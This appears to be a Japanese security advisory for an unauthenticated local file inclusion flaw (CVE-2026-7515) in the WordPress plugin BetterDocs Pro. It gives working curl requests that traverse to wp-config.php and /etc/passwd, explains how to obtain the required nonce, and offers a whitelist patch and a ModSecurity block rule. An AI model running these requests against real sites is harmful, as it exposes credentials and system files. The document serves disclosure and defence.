
認証不要のローカルファイルインクルージョン
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-7515 |
| CVSSスコア | 9.8 (重大) |
| CVSSベクトル | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるバージョン | BetterDocs Pro <= 3.8.0 |
| 修正バージョン | 3.8.1 |
| 研究者 | Nguyen Ngoc Duc (duc193) |
| 公開日 | June 18, 2026 |
| CWE | CWE-98: インクルード/要求文のファイル名の不適切な制御 |
WordPress用プラグインBetterDocs Proは、バージョン3.8.0まで(同バージョンを含む)において、doc_styleパラメータを介してローカルファイルインクルージョンの脆弱性があります。これにより、認証されていない攻撃者がサーバー上の任意のPHPファイルをインクルードして実行することが可能になります。
ファイル: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
行: 141
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
問題点: $_POST['doc_style']からのユーザー制御入力が、バリデーションなしで直接使用されています。
ファイル: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
行: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
問題点: $doc_style変数(ユーザー制御)が、views->get()に渡されるファイルパスに直接挿入され、そのファイルがインクルードされます。
HTTP POSTリクエスト
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
バリデーションなし (脆弱なバージョン 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
include()またはrequire()によるファイルインクルージョン
↓
任意のPHPコード実行 / ファイル読み取り
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
両エンドポイントはnoprivフックで登録されており、認証されていないユーザーがアクセス可能です:
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce(BetterDocs Encyclopediaブロックがあるページのソースにあります)# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
encyclopedia_nonceはBetterDocs EncyclopediaブロックがレンダリングされるページのJavaScriptで公開されています:
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- This is what you need
};
BetterDocs Proをバージョン3.8.1以降に更新してください
以下のパッチをincludes/Core/Encyclopedia.phpに適用してください:
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
同じ修正を行236にも適用してください。
doc_styleパラメータのパストラバーサルをブロックするルールを追加:
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version: betterdocs-pro_3.9.0.zip
Key Files:
- includes/Core/Encyclopedia.php (VULNERABLE)
- includes/Core/Scripts.php (Contains nonce generation)
- includes/Utils/Views.php (File inclusion logic)
| 観点 | 脆弱 (3.8.0) | 修正済み (3.8.1) |
|---|
| バリデーション | なし | in_array()によるホワイトリスト |
| 許可される値 | 任意の文字列 | doc-grid, doc-list, doc-list-2のみ |
| 型チェック | なし | 厳密な比較(===) |
| 影響タイプ | 深刻度 | 説明 |
|---|
| 機密性 | 高 | 任意のファイルの読み取り(wp-config.php, /etc/passwdなど) |
| 完全性 | 高 | ファイルの変更または削除 |
| 可用性 | 高 | サービス拒否 |
| アクセスベクトル | ネットワーク | リモートから悪用可能 |
| 権限 | なし | 認証不要 |
| ユーザー操作 | なし | 不要 |